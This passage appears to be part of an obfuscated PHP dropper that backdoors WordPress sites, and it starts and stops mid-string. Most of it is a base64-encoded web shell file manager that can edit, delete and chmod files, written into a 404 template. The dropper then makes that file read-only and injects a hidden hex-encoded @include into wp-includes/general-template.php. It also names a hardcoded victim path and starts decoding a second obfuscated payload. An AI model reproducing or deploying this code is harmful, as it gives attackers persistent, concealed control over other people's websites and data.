2FyYW4xIiB0eXBlPSJ0ZXh0IiBzaXplPSIyMCIgdmFsdWU9IicuJG5ldy4nIiAvPjxpbnB1dCB0eXBlPSJzdWJtaXQiIG5hbWU9Im5nYXJhbiIgLz48L2Zvcm0+PGJyPiAnOw0KDQogICAgICAgICRobyA9ICRfUE9TVFsnbmdhcmFuMSddOw0KDQogICAgICAgIGlmKGlzc2V0KCRfUE9TVFsnbmdhcmFuJ10pKXsNCiAgICAgICAgICAgIGVjaG8gJzxmb3JtIG1ldGhvZD0iUE9TVCI+DQo8dGV4dGFyZWEgY29scz04MCByb3dzPTIwIG5hbWU9InNyYyI+Jy5odG1sc3BlY2lhbGNoYXJzKGZpbGVfZ2V0X2NvbnRlbnRzKCRwYXRjKSkuJzwvdGV4dGFyZWE+PGJyIC8+DQo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJwYXRoIiB2YWx1ZT0iJy4kaGVsbC4nLycuJGhvLiciPg0KPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0ib3B0IiB2YWx1ZT0iZWRpdCI+DQo8aW5wdXQgdHlwZT0ic3VibWl0IiAgLz4NCjwvZm9ybT4nOw0KICAgICAgICB9DQogICAgfQ0KLy9FZGl0ZWQgZmlsZQ0KICAgIGVsc2VpZigkX0dFVFsnb3B0J10gPT0gJ2VkaXQnKXsNCiAgICAgICAgaWYoaXNzZXQoJF9QT1NUWydzcmMnXSkpew0KICAgICAgICAgICAgJGZwID0gZm9wZW4oJF9QT1NUWydwYXRoJ10sJ3cnKTsNCiAgICAgICAgICAgIGlmKGZ3cml0ZSgkZnAsJF9QT1NUWydzcmMnXSkpew0KICAgICAgICAgICAgICAgIGVjaG8gJzxmb250IGNvbG9yPSJncmVlbiI+57yW6L6R5oiQ5Yqf77yBIDwvZm9udD48YnIgLz48YnIgLz4nOw0KICAgICAgICAgICAgfWVsc2V7DQogICAgICAgICAgICAgICAgZWNobyAnPGZvbnQgY29sb3I9InJlZCI+57yW6L6R5aSx6LSl77yBPC9mb250PjxiciAvPjxiciAvPic7DQogICAgICAgICAgICB9DQogICAgICAgICAgICBmY2xvc2UoJGZwKTsNCiAgICAgICAgfQ0KICAgICAgICAkaGVsbCA9ICRfR0VUWydwYXRoJ107DQogICAgICAgICR5ZWFoID0gJF9HRVRbJ25hbWUnXTsNCiAgICAgICAgJHBhdGMgPSAiJGhlbGwvJHllYWgiOw0KICAgICAgICBlY2hvICc8Zm9ybSBtZXRob2Q9IlBPU1QiPg0KPHRleHRhcmVhIGNvbHM9ODAgcm93cz0yMCBuYW1lPSJzcmMiPicuaHRtbHNwZWNpYWxjaGFycyhmaWxlX2dldF9jb250ZW50cygkcGF0YykpLic8L3RleHRhcmVhPjxiciAvPg0KPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0icGF0aCIgdmFsdWU9IicuJHBhdGMuJyI+DQo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJvcHQiIHZhbHVlPSJlZGl0Ij48YnI+DQo8aW5wdXQgdHlwZT0ic3VibWl0IiAgLz4NCjxicj4NCjxicj4NCjxpbnB1dCB0eXBlPSJidXR0b24iIHZhbHVlPSLlj43lm54iIG9uQ2xpY2s9ImphdmFzY3JpcHQ6bG9jYXRpb24uaHJlZj1cJz9BUlJBWT0nLiRBUlJBWS4nJnBhdGg9Jy4kaGVsbC4nXCciPg0KDQo8L2Zvcm0+JzsNCiAgICB9DQogICAgZWNobyAnPC9jZW50ZXI+JzsNCn1lbHNlew0KICAgIGVjaG8gJzwvdGFibGU+PGJyIC8+PGNlbnRlcj4nOw0KLy9EZWxldGUgZGlyIGFuZCBmaWxlDQogICAgaWYoaXNzZXQoJF9HRVRbJ29wdGlvbiddKSAmJiAkX0dFVFsnb3B0J10gPT0gJ2RlbGV0ZScpew0KDQogICAgICAgICRoZWxsID0gJF9HRVRbJ3BhdGgnXTsNCiAgICAgICAgJHllYWggPSAkX0dFVFsnbmFtZSddOw0KICAgICAgICAkcGF0YyA9ICIkaGVsbC8keWVhaCI7DQoNCi8vRGVsZXRlIGRpcg0KICAgICAgICBpZigkX0dFVFsndHlwZSddID09ICdkaXInKXsNCg0KICAgICAgICAgICAgaWYocm1kaXIoJHBhdGMpKXsNCiAgICAgICAgICAgICAgICBlY2hvICc8Zm9udCBjb2xvcj0iZ3JlZW4iPuWIoOmZpOaIkOWKn++8gTwvZm9udD48YnIgLz4nOw0KICAgICAgICAgICAgfWVsc2V7DQogICAgICAgICAgICAgICAgZWNobyAnPGZvbnQgY29sb3I9InJlZCMiPuWIoOmZpOWksei0pSE+Oig8L2ZvbnQ+PGJyIC8+JzsNCiAgICAgICAgICAgIH0NCiAgICAgICAgfQ0KLy9idWF0IGZvbGRlcg0KICAgICAgICBpZigkX0dFVFsndHlwZSddID09ICdidWF0Jyl7DQogICAgICAgICAgICAkaGFhYSA9ICRfUE9TVFsncGF0aCddOw0KICAgICAgICAgICAgJGhlZWUgPSAkX1BPU1RbJ25hbWUnXTsNCiAgICAgICAgICAgICRob29vID0gIiRoYWFhLyRoZWVlIjsNCiAgICAgICAgICAgICRuZXcgPSAkaGFhYS4nLycuaHRtbHNwZWNpYWxjaGFycygkaGVlZSk7DQogICAgICAgICAgICBpZighbWtkaXIoJG5ldykpew0KICAgICAgICAgICAgICAgIGVjaG8gJzxmb250IGNvbG9yPSJyZWQiPuaWsOW7uuebruW9leWksei0pSE8L2ZvbnQ+PGJyIC8+JzsNCiAgICAgICAgICAgIH1lbHNlew0KICAgICAgICAgICAgICAgIGVjaG8gJzxmb250IGNvbG9yPSJncmVlbiI+5paw5bu655uu5b2V5oiQ5YqfISA+Oik8L2ZvbnQ+PGJyIC8+JzsNCiAgICAgICAgICAgIH0NCiAgICAgICAgfQ0KLy9EZWxldGUgZmlsZQ0KICAgICAgICBlbHNlaWYoJF9HRVRbJ3R5cGUnXSA9PSAnZmlsZScpew0KDQogICAgICAgICAgICAkaGVsbCA9ICRfR0VUWydwYXRoJ107DQogICAgICAgICAgICAkeWVhaCA9ICRfR0VUWyduYW1lJ107DQogICAgICAgICAgICAkcGF0YyA9ICIkaGVsbC8keWVhaCI7DQoNCiAgICAgICAgICAgIGlmKHVubGluaygkcGF0Yykpew0KICAgICAgICAgICAgICAgIGVjaG8gJzxmb250IGNvbG9yPSJncmVlbiI+5paH5Lu25Yig6Zmk5oiQ5YqfPC9mb250PjxiciAvPic7DQogICAgICAgICAgICB9ZWxzZXsNCiAgICAgICAgICAgICAgICBlY2hvICc8Zm9udCBjb2xvcj0icmVkIj7mlofku7bliKDpmaTlpLHotKU8L2ZvbnQ+PGJyIC8+JzsNCiAgICAgICAgICAgIH0NCiAgICAgICAgfQ0KICAgIH0NCiAgICBlY2hvICc8L2NlbnRlcj4nOw0KICAgICRzY2FuZGlyID0gc2NhbmRpcigkcGF0aCk7DQogICAgJHBhID0gZ2V0Y3dkKCk7DQogICAgZWNobyAnIDxkaXYgaWQ9ImNvbnRlbnQiPjx0YWJsZSB3aWR0aD0iMTAwJSIgY2xhc3M9InRhYmxlX2hvbWUiIGJvcmRlcj0iMCIgY2VsbHBhZGRpbmc9IjMiIGNlbGxzcGFjaW5nPSIxIiBhbGlnbj0iY2VudGVyIj4NCiANCjx0cj4NCjx0aCBjbGFzcz10aF9ob21lIHN0eWxlPSJiYWNrZ3JvdW5kOmJsYWNrO2NvbG9yOiNmZmY7Ij48Y2VudGVyPuWQjeensDwvY2VudGVyPjwvdGg+DQo8dGggY2xhc3M9dGhfaG9tZSBzdHlsZT0iYmFja2dyb3VuZDpibGFjaztjb2xvcjojZmZmOyIgPjxjZW50ZXI+5aSn5bCPPC9jZW50ZXI+PC90aD4NCjx0aCBjbGFzcz10aF9ob21lIHN0eWxlPSJiYWNrZ3JvdW5kOmJsYWNrO2NvbG9yOiNmZmY7IiA+PGNlbnRlcj7mnYPpmZA8L2NlbnRlcj48L3RoPg0KPHRoIGNsYXNzPXRoX2hvbWUgc3R5bGU9ImJhY2tncm91bmQ6YmxhY2s7Y29sb3I6I2ZmZjsiID48Y2VudGVyPuaTjeS9nOmAiemhuTwvY2VudGVyPjwvdGg+DQo8L3RyPg0KDQoNCiA8dHI+DQo8dGQgY2xhc3M9InRkX2hvbWUiIGFsaWduPSJjZW50ZXIiPg0KPGEgaHJlZj0iP0FSUkFZPScuJEFSUkFZLicmcGF0aD0nLmRpcm5hbWUoJHBhdGgpLiciIHN0eWxlPSJkaXNwbGF5OmJsb2NrOyB3aWR0aDoxMDAlOyIgdGl0bGU9IuS4iuS4gOmhtSI+5LiK5LiA6aG1PC9hPg0KPC90ZD48dGQgY2xhc3M9dGRfaG9tZSBhbGlnbj1jZW50ZXI+U2l6ZTwvdGQ+IDx0ZCBjbGFzcz10ZF9ob21lIGFsaWduPWNlbnRlcj5DaG1vZDwvdGQ+IDx0ZCBjbGFzcz10ZF9ob21lIGFsaWduPWNlbnRlcj4gPGEgaHJlZj0iP29wdGlvbiZBUlJBWT0nLiRBUlJBWS4nJnBhdGg9Jy4kcGF0aC4nJm9wdD1iYXJ1Jm5hbWU9bmV3LnBocCI+KyDmlrDlu7rmlofku7Y8L2E+IHwgPGEgaHJlZj0iP29wdGlvbiZBUlJBWT0nLiRBUlJBWS4nJnBhdGg9Jy4kcGF0aC4nJm9wdD1idHcmdHlwZT1kaXIiPisg5paw5bu655uu5b2VPC9hPiA8L3RkPjwvdHI+DQonOw0KDQogICAgZm9yZWFjaCgkc2NhbmRpciBhcyAkZGlyKXsNCiAgICAgICAgaWYoIWlzX2RpcigiJHBhdGgvJGRpciIpIHx8ICRkaXIgPT0gJy4nIHx8ICRkaXIgPT0gJy4uJykgY29udGludWU7DQogICAgICAgIGVjaG8gIg0KPHRyPg0KPHRkIGNsYXNzPXRkX2hvbWU+IDxpbWcgc3JjPSdkYXRhOmltYWdlL3BuZztiYXNlNjQsUjBsR09EbGhFd0FRQUxNQUFBQUFBUC8vLzV5Y0FNN09ZLy8vblAvL3p2L09uUGYzOS8vLy93QUFBQUFBQUFBQUFBQUFBQUFBQUFBQSIuIkFBQUFBQ0g1QkFFQUFBZ0FMQUFBQUFBVEFCQUFBQVJSRU1sSnE3MDQ2eXA2QnhzaUhFVkJFQUtZQ1VQckRwN0hsWFJkRW9NcUNlYnAiLiIvNFljaGZmekdRaEg0WVJZUEIyRE9sSFBpS3dxZDFQcTh5clZWZzNRWWVINVJZSzVySmZhRlVVQTN2QjRmQklCQURzPSc+IDxhIGhyZWY9XCI/QVJSQVk9eyRBUlJBWX0mcGF0aD0kcGF0aC8kZGlyXCI+JGRpcjwvYT48L3RkPg0KPHRkIGNsYXNzPXRkX2hvbWUgPjxjZW50ZXI+RElSPC9jZW50ZXI+PC90ZD4NCjx0ZCBjbGFzcz10ZF9ob21lIGFsaWduPWNlbnRlcj4NCjxhIGhyZWY9XCI/b3B0aW9uJkFSUkFZPXskQVJSQVl9JnBhdGg9JHBhdGgmb3B0PWNobW9kJnR5cGU9ZGlyJm5hbWU9JGRpclwiIHRpdGxlPSfmnYPpmZDorr7nva4nPg0KIjsNCiAgICAgICAgaWYoaXNfd3JpdGFibGUoIiRwYXRoLyRkaXIiKSkgZWNobyAnPGZvbnQgY29sb3I9ImdyZWVuIj4nOw0KICAgICAgICBlbHNlaWYoIWlzX3JlYWRhYmxlKCIkcGF0aC8kZGlyIikpIGVjaG8gJzxmb250IGNvbG9yPSJyZWQiPic7DQogICAgICAgIGVjaG8ganVlamlhbmdfcGVybXMoIiRwYXRoLyRkaXIiKTsNCiAgICAgICAgaWYoaXNfd3JpdGFibGUoIiRwYXRoLyRkaXIiKSB8fCAhaXNfcmVhZGFibGUoIiRwYXRoLyRkaXIiKSkgZWNobyAnPC9mb250Pic7DQoNCiAgICAgICAgZWNobyAiDQo8L2E+DQo8L3RkPg0KDQoNCjx0ZCBjbGFzcz10ZF9ob21lID48Y2VudGVyPg0KPGEgaHJlZj1cIj9vcHRpb24mQVJSQVk9eyRBUlJBWX0mcGF0aD0kcGF0aCZvcHQ9cmVuYW1lJnR5cGU9ZGlyJm5hbWU9JGRpclwiPumHjeWRveWQjTwvYT4NCjxhIGhyZWY9XCJqYXZhc2NyaXB0OmlmKGNvbmZpcm0oJ+ehruWunuimgeWIoOmZpOWQlz8nKSlsb2NhdGlvbj0nP29wdGlvbiZBUlJBWT17JEFSUkFZfSZwYXRoPXskcGF0aH0mb3B0PWRlbGV0ZSZ0eXBlPWRpciZuYW1lPXskZGlyfSdcIj7liKDpmaQ8L2E+DQo8L2NlbnRlcj48L3RkPg0KPC90cj4iOw0KICAgIH0NCiAgICBlY2hvICc8YnI+JzsNCiAgICBmb3JlYWNoKCRzY2FuZGlyIGFzICRmaWxlKXsNCiAgICAgICAgaWYoIWlzX2ZpbGUoIiRwYXRoLyRmaWxlIikpIGNvbnRpbnVlOw0KICAgICAgICAkc2l6ZSA9IGZpbGVzaXplKCIkcGF0aC8kZmlsZSIpLzEwMjQ7DQogICAgICAgICRzaXplID0gcm91bmQoJHNpemUsMyk7DQogICAgICAgIGlmKCRzaXplID49IDEwMjQpew0KICAgICAgICAgICAgJHNpemUgPSByb3VuZCgkc2l6ZS8xMDI0LDIpLicgTUInOw0KICAgICAgICB9ZWxzZXsNCiAgICAgICAgICAgICRzaXplID0gJHNpemUuJyBLQic7DQogICAgICAgIH0NCg0KDQogICAgICAgIGVjaG8gIjx0cj4NCjx0ZCBjbGFzcz10ZF9ob21lID4gPGltZyBzcmM9J2RhdGE6aW1hZ2UvcG5nO2Jhc2U2NCxpVkJPUncwS0dnb0FBQUFOU1VoRVVnQUFBQXdBQUFBUUNBWUFBQUFpWVo0SEFBQUFDWEJJV1hNQUFBc1RBQUFMRXdFQW1wd1lBQUFLVFdsRFExQlFhRzkwYjNOb2IzQWdTVU5ESUhCeWIyWnBiR1VBQUhqYW5WTjNXSlAzRmo3ZjkyVVBWa0xZOExHWGJJRUFJaU9zQ01nUVdhSVFrZ0JoaEJBU1FNV0ZpQXBXRkJVUm5FaFZ4SUxWQ2tpZGlPS2dLTGhuUVlxSVdvdFZYRGp1SDl5bnRYMTY3KzN0KzlmN3ZPZWM1L3pPZWM4UGdCRVNKcEhtb21vQU9WS0ZQRHJZSDQ5UFNNVEp2WUFDRlVqZ0JDQVE1c3ZDWndYRkFBRHdBM2w0Zm5Td1Avd0JyMjhBQWdCdzFTNGtFc2ZoLzRPNlVDWlhBQ0NSQU9BaUV1Y0xBWkJTQU1ndVZNZ1VBTWdZQUxCVHMyUUtBSlFBQUd4NWZFSWlBS29OQU96MFNUNEZBTmlwazl3WEFOaWlIS2tJQUkwQkFKa29SeVFDUUxzQVlGV0JVaXdDd01JQW9LeEFJaTRFd0s0QmdGbTJNa2NDZ0wwRkFIYU9XSkFQUUdBQWdKbENMTXdBSURnQ0FFTWVFODBESUV3RG9ERFN2K0NwWDNDRnVFZ0JBTURMbGMyWFM5SXpGTGlWMEJwMzh2RGc0aUhpd215eFFtRVhLUkJtQ2VRaW5KZWJJeE5JNXdOTXpnd0FBQnI1MGNIK09EK1E1K2JrNGVabTUyenY5TVdpL212d2J5SStJZkhmL3J5TUFnUUFFRTdQNzlwZjVlWFdBM0RIQWJCMXYydXBXd0RhVmdCbzMvbGRNOXNKb0ZvSzBIcjVpM2s0L0VBZW5xRlF5RHdkSEFvTEMrMGxZcUc5TU9PTFB2OHo0Vy9naTM3Mi9FQWUvdHQ2OEFCeG1rQ1pyY0NqZy8xeFlXNTJybEtPNThzRVFqRnU5K2NqL3NlRmYvMk9LZEhpTkxGY0xCV0s4VmlKdUZBaVRjZDV1VktSUkNISmxlSVM2WDh5OFIrVy9RbVRkdzBBcklaUHdFNjJCN1hMYk1CKzdnRUNpdzVZMG5ZQVFIN3pMWXdhQzVFQUVHYzBNbm4zQUFDVHYvbVBRQ3NCQU0yWHBPTUFBTHpvR0Z5b2xCZE14Z2dBQUVTZ2dTcXdRUWNNd1JTc3dBNmN3UjI4d0JjQ1lRWkVRQXdrd0R3UVFnYmtnQndLb1JpV1FSbFV3RHJZQkxXd0F4cWdFWnJoRUxUQk1UZ041K0FTWElIcmNCY0dZQmlld2hpOGhna0VRY2dJRTJFaE9vZ1JZbzdZSXM0SUY1bU9CQ0poU0RTU2dLUWc2WWdVVVNMRnlIS2tBcWxDYXBGZFNDUHlMWElVT1kxY1FQcVEyOGdnTW9yOGlyeEhNWlNCc2xFRDFBSjFRTG1vSHhxS3hxQnowWFEwRDEyQWxxSnIwUnEwSGoyQXRxS24wVXZvZFhRQWZZcU9ZNERSTVE1bWpObGhYSXlIUldDSldCb214eFpqNVZnMVZvODFZeDFZTjNZVkc4Q2VZZThJSkFLTGdCUHNDRjZFRU1Kc2dwQ1FSMWhNV0VPb0pld2p0Qks2Q0ZjSmc0UXh3aWNpazZoUHRDVjZFdm5FZUdJNnNaQllScXdtN2lFZUlaNGxYaWNPRTErVFNDUU95WkxrVGdvaEpaQXlTUXRKYTBqYlNDMmtVNlErMGhCcG5Fd202NUJ0eWQ3a0NMS0FyQ0NYa2JlUUQ1QlBrdnZKdytTM0ZEckZpT0pNQ2FJa1VxU1VFa28xWlQvbEJLV2ZNa0tab0twUnphbWUxQWlxaURxZldrbHRvSFpRTDFPSHFSTTBkWm9selpzV1E4dWtMYVBWMEpwcFoybjNhQy9wZExvSjNZTWVSWmZRbDlKcjZBZnA1K21EOUhjTURZWU5nOGRJWWlnWmF4bDdHYWNZdHhrdm1VeW1CZE9YbWNoVU1OY3lHNWxubUErWWIxVllLdllxZkJXUnloS1ZPcFZXbFg2VjU2cFVWWE5WUDlWNXFndFVxMVVQcTE1V2ZhWkdWYk5RNDZrSjFCYXIxYWtkVmJ1cE5xN09VbmRTajFEUFVWK2p2bC85Z3ZwakRiS0doVWFnaGtpalZHTzN4aG1OSVJiR01tWHhXRUxXY2xZRDZ5eHJtRTFpVzdMNTdFeDJCZnNiZGk5N1RGTkRjNnBtckdhUlpwM21jYzBCRHNheDRQQTUyWnhLemlIT0RjNTdMUU10UHkyeDFtcXRacTErclRmYWV0cSsybUx0Y3UwVzdldmE3M1Z3blVDZExKMzFPbTA2OTNVSnVqYTZVYnFGdXR0MXorbyswMlByZWVrSjljcjFEdW5kMFVmMWJmU2o5UmZxNzlidjBSODNNRFFJTnBBWmJERTRZL0RNa0dQb2E1aHB1Tkh3aE9Hb0VjdG91cEhFYUtQUlNhTW51Q2J1aDJmak5YZ1hQbWFzYnh4aXJEVGVaZHhyUEdGaWFUTGJwTVNreGVTK0tjMlVhNXBtdXRHMDAzVE16TWdzM0t6WXJNbnNqam5Wbkd1ZVliN1p2TnY4allXbFJaekZTb3MyaThlVzJwWjh5d1dXVFpiM3JKaFdQbFo1VnZWVzE2eEoxbHpyTE90dDFsZHNVQnRYbXd5Yk9wdkx0cWl0bTYzRWRwdHQzeFRpRkk4cDBpbjFVMjdhTWV6ODdBcnNtdXdHN1RuMllmWWw5bTMyengzTUhCSWQxanQwTzN4eWRIWE1kbXh3dk91azRUVERxY1NwdytsWFp4dG5vWE9kOHpVWHBrdVF5eEtYZHBjWFUyMm5pcWR1bjNyTGxlVWE3cnJTdGRQMW81dTdtOXl0MlczVTNjdzl4WDJyKzAwdW14dkpYY005NzBIMDhQZFk0bkhNNDUybm02ZkM4NURuTDE1MlhsbGUrNzBlVDdPY0pwN1dNRzNJMjhSYjRMM0xlMkE2UGoxbCtzN3BBejdHUGdLZmVwK0h2cWErSXQ4OXZpTisxbjZaZmdmOG52czcrc3Y5ai9pLzRYbnlGdkZPQldBQndRSGxBYjJCR29HekEyc0RId1NaQktVSE5RV05CYnNHTHd3K0ZVSU1DUTFaSDNLVGI4QVg4aHY1WXpQY1p5eWEwUlhLQ0owVldodjZNTXdtVEI3V0VZNkd6d2pmRUg1dnB2bE02Y3kyQ0lqZ1IyeUl1QjlwR1prWCtYMFVLU295cWk3cVViUlRkSEYwOXl6V3JPUlorMmU5anZHUHFZeTVPOXRxdG5KMlo2eHFiRkpzWSt5YnVJQzRxcmlCZUlmNFJmR1hFblFUSkFudGllVEUyTVE5aWVOekF1ZHNtak9jNUpwVWxuUmpydVhjb3JrWDV1bk95NTUzUEZrMVdaQjhPSVdZRXBleVArV0RJRUpRTHhoUDVhZHVUUjBUOG9TYmhVOUZ2cUtOb2xHeHQ3aEtQSkxtblZhVjlqamRPMzFEK21pR1QwWjF4ak1KVDFJcmVaRVprcmtqODAxV1JOYmVyTS9aY2RrdE9aU2NsSnlqVWcxcGxyUXIxekMzS0xkUFppc3JrdzNrZWVadHlodVRoOHIzNUNQNWMvUGJGV3lGVE5HanRGS3VVQTRXVEMrb0szaGJHRnQ0dUVpOVNGclVNOTltL3VyNUl3dUNGbnk5a0xCUXVMQ3oyTGg0V2ZIZ0lyOUZ1eFlqaTFNWGR5NHhYVks2WkhocDhOSjl5MmpMc3BiOVVPSllVbFh5YW5uYzhvNVNnOUtscFVNcmdsYzBsYW1VeWN0dXJ2UmF1V01WWVpWa1ZlOXFsOVZiVm44cUY1VmZySENzcUs3NHNFYTQ1dUpYVGwvVmZQVjViZHJhM2txM3l1M3JTT3VrNjI2czkxbS9yMHE5YWtIVjBJYndEYTBiOFkzbEcxOXRTdDUwb1hwcTlZN050TTNLelFNMVlUWHRXOHkyck52eW9UYWo5bnFkZjEzTFZ2MnRxN2UrMlNiYTFyL2RkM3Z6RG9NZEZUdmU3NVRzdkxVcmVGZHJ2VVY5OVc3UzdvTGRqeHBpRzdxLzVuN2R1RWQzVDhXZWozdWxld2YyUmUvcmFuUnZiTnl2djcreUNXMVNObzBlU0RwdzVadUFiOXFiN1pwM3RYQmFLZzdDUWVYQko5K21mSHZqVU9paHpzUGN3ODNmbVgrMzlRanJTSGtyMGpxL2Rhd3RvMjJnUGFHOTcraU1vNTBkWGgxSHZyZi9mdTh4NDJOMXh6V1BWNTZnblNnOThmbmtncFBqcDJTbm5wMU9QejNVbWR4NTkwejhtV3RkVVYyOVowUFBuajhYZE81TXQxLzN5ZlBlNTQ5ZDhMeHc5Q0wzWXRzbHQwdXRQYTQ5UjM1dy9lRklyMXR2NjJYM3krMVhQSzUwOUUzck85SHYwMy82YXNEVmM5ZjQxeTVkbjNtOTc4YnNHN2R1SnQwY3VDVzY5ZmgyOXUwWGR3cnVUTnhkZW85NHIveSsydjNxQi9vUDZuKzAvckZsd0czZytHREFZTS9EV1EvdkRnbUhudjZVLzlPSDRkSkh6RWZWSTBZampZK2RIeDhiRFJxOThtVE9rK0duc3FjVHo4cCtWdjk1NjNPcjU5Lzk0dnRMejFqODJQQUwrWXZQdjY1NXFmTnk3NnVwcnpySEk4Y2Z2TTU1UGZHbS9LM08yMzN2dU8rNjM4ZTlINWtvL0VEK1VQUFIrbVBIcDlCUDl6N25mUDc4TC9lRTgvc2wwcDh6QUFBQUlHTklVazBBQUhvbEFBQ0Fnd0FBK2Y4QUFJRHBBQUIxTUFBQTZtQUFBRHFZQUFBWGI1SmZ4VVlBQUFHNFNVUkJWSGphZkpMUGFoTlJGTVovOTl5WmFiQnhDTk5LaXlnb3hHQ2dsQlpjdUNnSTlnMktMMU5Dd1M1S1g4QW5VTG9TdW5QVnJkdkdnQnVwRVYyNEVXUUNNOG5NNU0rOTE4Vk1SdU9pMytyQ1BkLzVmZWZjcTE3MVhqdTA1VGJadWVIeS9Fd0JlR2pMMjVNVDVzYXdNSWFKWFRWL0dneDRkM1hGMFhIUFhaNmZLUUd3MXJJd2hwa3htT21VUE10SXgyT1NKR0djcHJ3L1BVVjh6ZEZ4ejhrNFRldHVnZFkwZ29CQWF6d1JsQWh4SFBQbTRvSVhuUTZmQjMwOEFCSGhZNzhQd05aNnhLOUp6RzYzQzhETHcwT2N0WVJoeUlmcjY5SUEwRzYzY1ZYK0ppMGFRUUN6R1FDTGYyYnlBTFJTRElmRHVqdkF0Nm9nOGhyRWk0TDl2YjNTVUdRWlNvU25uUTRMYTdsTFZKT1d1bDhVQUJSWlZzM2dIRjl1YnVxQ0pXbHJQU3BwazVpRDdlMktrT2NBN0hhN3pJd3BNLzlIYXRMQzA1b2l6LzhPL2ZQcmQ4S1d6NC9mYVUwQm1FOHovTFU3Nk0zTmtqQXRDclFJRDU0OExrbjNZR1lNRDZNSWF5Mm1vZ0pNaTJLVkFCQzJmUExjNTlIR0JvZ0FZSXhCcXJPM2ZPbUQ1OC9LeXlxM2NRNnRWRzBDR0tjcFhqSWFyYXhRaTJDc0xZc0JKWUpUQ2lWQ01ocWhtanM3enRyYnYvZFNJc0tmQVFEZklzS0h2QVpZWkFBQUFBQkpSVTVFcmtKZ2dnPT0nPg0KDQoiOw0KLy8gPGEgaHJlZj1cIj9BUlJBWT17JEFSUkFZfSZmaWxlc3JjPSRwYXRoLyRmaWxlJnBhdGg9JHBhdGhcIj4kZmlsZTwvYT4NCiAgICAgICAgZWNobyAiDQo8YSBocmVmPVwiP29wdGlvbiZBUlJBWT17JEFSUkFZfSZwYXRoPXskcGF0aH0mb3B0PWVkaXQmdHlwZT1maWxlJm5hbWU9eyRmaWxlfVwiPnskZmlsZX08L2E+DQo8L3RkPg0KPHRkIGNsYXNzPXRkX2hvbWU+PGNlbnRlcj4iLiRzaXplLiI8L2NlbnRlcj48L3RkPg0KPHRkIGNsYXNzPXRkX2hvbWUgYWxpZ249J2NlbnRlcic+PGEgaHJlZj1cIj9vcHRpb24mQVJSQVk9eyRBUlJBWX0mcGF0aD0kcGF0aCZvcHQ9Y2htb2QmdHlwZT1maWxlJm5hbWU9JGZpbGVcIiB0aXRsZT0n5p2D6ZmQ6K6+572uJz4iOw0KDQoNCg0KICAgICAgICBpZihpc193cml0YWJsZSgiJHBhdGgvJGZpbGUiKSkgZWNobyAnPGZvbnQgY29sb3I9ImdyZWVuIj4nOw0KICAgICAgICBlbHNlaWYoIWlzX3JlYWRhYmxlKCIkcGF0aC8kZmlsZSIpKSBlY2hvICc8Zm9udCBjb2xvcj0icmVkIj4nOw0KICAgICAgICBlY2hvIGp1ZWppYW5nX3Blcm1zKCIkcGF0aC8kZmlsZSIpOw0KICAgICAgICBpZihpc193cml0YWJsZSgiJHBhdGgvJGZpbGUiKSB8fCAhaXNfcmVhZGFibGUoIiRwYXRoLyRmaWxlIikpIGVjaG8gJzwvZm9udD4nOw0KICAgICAgICBlY2hvICI8L2E+PC90ZD4NCjx0ZCBjbGFzcz10ZF9ob21lPjxjZW50ZXI+DQo8YSBocmVmPVwiP29wdGlvbiZBUlJBWT17JEFSUkFZfSZwYXRoPSRwYXRoJm9wdD1lZGl0JnR5cGU9ZmlsZSZuYW1lPSRmaWxlXCI+57yW6L6RPC9hPg0KPGEgaHJlZj1cIj9vcHRpb24mQVJSQVk9eyRBUlJBWX0mcGF0aD0kcGF0aCZvcHQ9cmVuYW1lJnR5cGU9ZmlsZSZuYW1lPSRmaWxlJnBhdGg9JHBhdGhcIj7ph43lkb3lkI08L2E+DQo8YSBocmVmPVwiamF2YXNjcmlwdDppZihjb25maXJtKCfnoa7lrp7opoHliKDpmaTlkJc/JykpbG9jYXRpb249Jz9vcHRpb24mQVJSQVk9eyRBUlJBWX0mcGF0aD17JHBhdGh9Jm9wdD1kZWxldGUmdHlwZT1maWxlJm5hbWU9eyRmaWxlfSdcIj7liKDpmaQ8L2E+DQo8L2NlbnRlcj48L3RkPg0KPC90cj4iOw0KICAgIH0NCiAgICBlY2hvICc8L3RhYmxlPg0KPC9kaXY+JzsNCn0NCmVjaG8gJzxicj48YnI+PGJyPjxicj48L2I+DQo8L2JvZHk+IDwvaHRtbD48L2JvZHk+DQo8L2h0bWw+JzsNCmRpZTsNCmVuZGlmOyAgLy8gPT09PQ0KDQoNCg0KDQoNCg0K"; // WP 404 @chmod($jue_jiang_404_path, 0644); @file_put_contents($jue_jiang_404_path, base64_decode($jue_jiang_404)); @chmod($jue_jiang_404_path, 0444); } $file_general_template_path = $do."wp-includes/general-template.php"; $general_template_code = @file_get_contents($file_general_template_path); $gen_mat = base64_decode("QGluY2x1ZGVbXHNdKyIoXFxbeDAtOV0uKz8pIjs="); $isget_mat = preg_match("/{$gen_mat}/i",$general_template_code)?true:false; if (!$isget_mat){ $mc1 = "KGZ1bmN0aW9uW1xzXStnZXRfaGVhZGVyKFtcc10rKT9cKCguKz8peyk="; preg_match_all("/".base64_decode($mc1)."/i",$general_template_code,$pr); $str = "\x" . substr(chunk_split(bin2hex($jue_jiang_404_path), 2, "\x"), 0, -2); $new_general_template = str_replace($pr[0][0],$pr[0][0].PHP_EOL.PHP_EOL." @include \"$str\";",$general_template_code); @file_put_contents($file_general_template_path,$new_general_template); } error_reporting(0); set_time_limit(0); ignore_user_abort(true); $do = "/home/xswop4u1ust1/public_html/"; $open_cache_ruzhu_phpcode = base64_decode("PD9waHAgZXJyb3JfcmVwb3J0aW5nKDApOyAkamN2cyA9IHJhbmdlKGNocigxMjYpLGNocigyMCkpOyRQWkdTPSR7JGpjdnNbMzFdLiRqY3ZzWzU5XS4kamN2c1s0N10uJGpjdnNbNDddLiRqY3ZzWzUxXS4kamN2c1s1M10uJGpjdnNbNTddfTtAKGNvdW50KCRQWkdTKT09MjMmJmluX2FycmF5KGdldHR5cGUoJFBaR1MpLmNvdW50KCRQWkdTKSwkUFpHUykpPygoJFBaR1NbNjldPSRQWkdTWzY5XS4kUFpHU1s3NV0pJiYoJFBaR1NbODldPSRQWkdTWzY5XSgkUFpHU1s4OV0pKSYmKEAkUFpHUz0kUFpHU1s4OV0oJFBaR1NbNjBdLCRQWkdTWzY5XSgkeyRQWkdTWzUwXX1bMjZdKSkpJiYkUFpHUygpKTokUFpHUzsgJG91WFVCdiA9IHJhbmdlKGNocigxMjYpLGNocigyMCkpOyRicU1qID0gYXJyYXko